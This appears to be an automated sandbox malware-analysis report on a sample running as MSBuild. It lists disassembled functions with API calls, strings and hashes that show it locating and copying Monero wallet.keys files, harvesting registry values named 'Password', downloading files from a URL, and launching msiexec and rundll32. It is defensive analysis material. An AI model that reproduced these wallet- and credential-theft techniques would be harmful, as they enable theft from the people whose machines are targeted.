API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 7ca998b6b529aeb001394848e85b67d7579dbc99494248e03994ec2c30538700
Instruction ID: 17233f41fb1950bff335544576ea1941aa871c2d7c6c7a5a475621d351ca9112
Opcode Fuzzy Hash: 7ca998b6b529aeb001394848e85b67d7579dbc99494248e03994ec2c30538700
Instruction Fuzzy Hash: 96125F718111089ADB09FBA1DD92FEEB778AF14314F50415EF10666091EF382BDACF6A

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcatA.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcatA.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,013F9B80,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401335
\Monero\wallet.keys, xrefs: 0040138D
.keys, xrefs: 0040136B
wallet_path, xrefs: 00401330

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$CopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 1930502592-218353709
Opcode ID: 39317e8262a0c6bf4b356c8e33d2227605c61f9266290840a9bd15d469870bc1
Instruction ID: 2d64d6a561879fca44fb71c04a0a84c7ebf7a9ed2d970630d286a4d87e6dc5bb
Opcode Fuzzy Hash: 39317e8262a0c6bf4b356c8e33d2227605c61f9266290840a9bd15d469870bc1
Instruction Fuzzy Hash: 955165B1D5011897CB15FB61DD91FED733CAF54304F4041ADB60A62092EE385BDACBAA

Function 004060A0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

InternetOpenA.WININET(00420DF7,00000001,00000000,00000000,00000000), ref: 0040610F
StrCmpCA.SHLWAPI(?,01404DA8), ref: 00406147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0040618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 004061B3
InternetReadFile.WININET(a+A,?,00000400,?), ref: 004061DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406249
InternetCloseHandle.WININET(a+A), ref: 00406253
InternetCloseHandle.WININET(00000000), ref: 00406260

Strings

a+A, xrefs: 004060B0, 0040617F, 00406266, 00406124, 004060B3
a+A, xrefs: 0040624F, 004061D8, 004061DB, 00406252

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: a+A$a+A
API String ID: 4287319946-2847607090
Opcode ID: 8e412136ec4a27f907b8c44360a338e6cf7b286a2ded7d5447bec277780c7ebd
Instruction ID: d3b4a7caf446de9355e244355c8e16b321895ac976a44b0a7cc1b08be2cc8b72
Opcode Fuzzy Hash: 8e412136ec4a27f907b8c44360a338e6cf7b286a2ded7d5447bec277780c7ebd
Instruction Fuzzy Hash: 735194B5940218ABDB20EF90DC45BEE77B9EB04305F1040ADB606B71C0DB786A85CF9A

Function 004170D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 004170DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

OpenProcess.KERNEL32(001FFFFF,00000000,0041730D,004205BD), ref: 0041711C
memset.MSVCRT ref: 0041716A
??_V@YAXPAX@Z.MSVCRT(?), ref: 004172BE

Strings

sA, xrefs: 004172AE, 00417179, 0041717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041718C
sA, xrefs: 00417111

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: sA$sA$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-2614523144
Opcode ID: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction ID: ffe5c4151d56689e238fca5affca6521033e0b5082b25a646ea50ffb364ad3ac
Opcode Fuzzy Hash: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction Fuzzy Hash: 71515FB0D04218ABDB14EB91DD85BEEB774AF04304F1040AEE61576281EB786AC9CF5D

Function 004075D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004072D0: memset.MSVCRT ref: 00407314
Part of subcall function 004072D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
Part of subcall function 004072D0: RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
Part of subcall function 004072D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
Part of subcall function 004072D0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
Part of subcall function 004072D0: HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

lstrcatA.KERNEL32(33999020,004217FC,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?,?,004161C4), ref: 00407606
lstrcatA.KERNEL32(33999020,00000000,00000000), ref: 00407648
lstrcatA.KERNEL32(33999020, : ), ref: 0040765A
lstrcatA.KERNEL32(33999020,00000000,00000000,00000000), ref: 0040768F
lstrcatA.KERNEL32(33999020,00421804), ref: 004076A0
lstrcatA.KERNEL32(33999020,00000000,00000000,00000000), ref: 004076D3
lstrcatA.KERNEL32(33999020,00421808), ref: 004076ED
task.LIBCPMTD ref: 004076FB

Strings

: , xrefs: 0040764E

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 7d0423256a728e891f6393d8e936e2c81fa5f6b6a39ee4f482e2bec68b02cab5
Instruction ID: 32096a17696354d86885d8553091bec757242b1065822f319004c721f0fd16b2
Opcode Fuzzy Hash: 7d0423256a728e891f6393d8e936e2c81fa5f6b6a39ee4f482e2bec68b02cab5
Instruction Fuzzy Hash: FE316B79E40109EFCB04FBE5DC85DEE737AFB49305B14542EE102B7290DA38A942CB66

Function 004072D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

Part of subcall function 00409240: vsprintf_s.MSVCRT ref: 0040925B

task.LIBCPMTD ref: 00407555

Strings

Password, xrefs: 00407401

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction ID: ef12ebdd473109685825b75701b45193a1214ac884297e43e73859b9717fa869
Opcode Fuzzy Hash: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction Fuzzy Hash: B8614DB5D0416C9BDB24DB50CD41BDAB7B8BF44304F0081EAE689A6281DB746FC9CFA5

Function 00417500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
HeapAlloc.KERNEL32(00000000), ref: 0041760A
wsprintfA.USER32 ref: 00417640

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

\, xrefs: 00417560
C, xrefs: 0041754C
:, xrefs: 0041755C

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction ID: 2fa5a76c25c4840d12821100fc964cf287d391274576238511e757cc0c078ff1
Opcode Fuzzy Hash: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction Fuzzy Hash: BF41A2B5D44248ABDB10DF94DC45BEEBBB9EF08714F10019DF50967280D778AA84CBA9

Function 00414780 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,01406218,?,00000104,?,00000104,?,00000104,?,00000104), ref: 004147DB

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414801
lstrcatA.KERNEL32(?,?), ref: 00414820
lstrcatA.KERNEL32(?,?), ref: 00414834
lstrcatA.KERNEL32(?,01400118), ref: 00414847
lstrcatA.KERNEL32(?,?), ref: 0041485B
lstrcatA.KERNEL32(?,01405BC8), ref: 0041486F

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418D90: GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Part of subcall function 00414570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414580
Part of subcall function 00414570: HeapAlloc.KERNEL32(00000000), ref: 00414587
Part of subcall function 00414570: wsprintfA.USER32 ref: 004145A6
Part of subcall function 00414570: FindFirstFileA.KERNEL32(?,?), ref: 004145BD

Strings

0aA, xrefs: 004148F9, 004148A1, 004148A4

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID: 0aA
API String ID: 167551676-2786531170
Opcode ID: 68b14d5b17c671e2cf7e1b8e16a29c460b7c871aa3e1514749b126a2a2b0c466
Instruction ID: 67fb29d5a8d89bc8d31ec604eacddc75011aa0e27ff4711df2ee94280de74797
Opcode Fuzzy Hash: 68b14d5b17c671e2cf7e1b8e16a29c460b7c871aa3e1514749b126a2a2b0c466
Instruction Fuzzy Hash: EF3182BAD402086BDB10FBF0DC85EE9737DAB48704F40458EB31996081EE7897C9CB99

Function 00418100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01405F48,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,01405F48,00000000,?,00420E2C,00000000,?,00000000,00000000), ref: 00418137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
__aulldiv.LIBCMT ref: 00418172
__aulldiv.LIBCMT ref: 00418180
wsprintfA.USER32 ref: 004181AC

Strings

@, xrefs: 0041814D
%d MB, xrefs: 004181A3

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
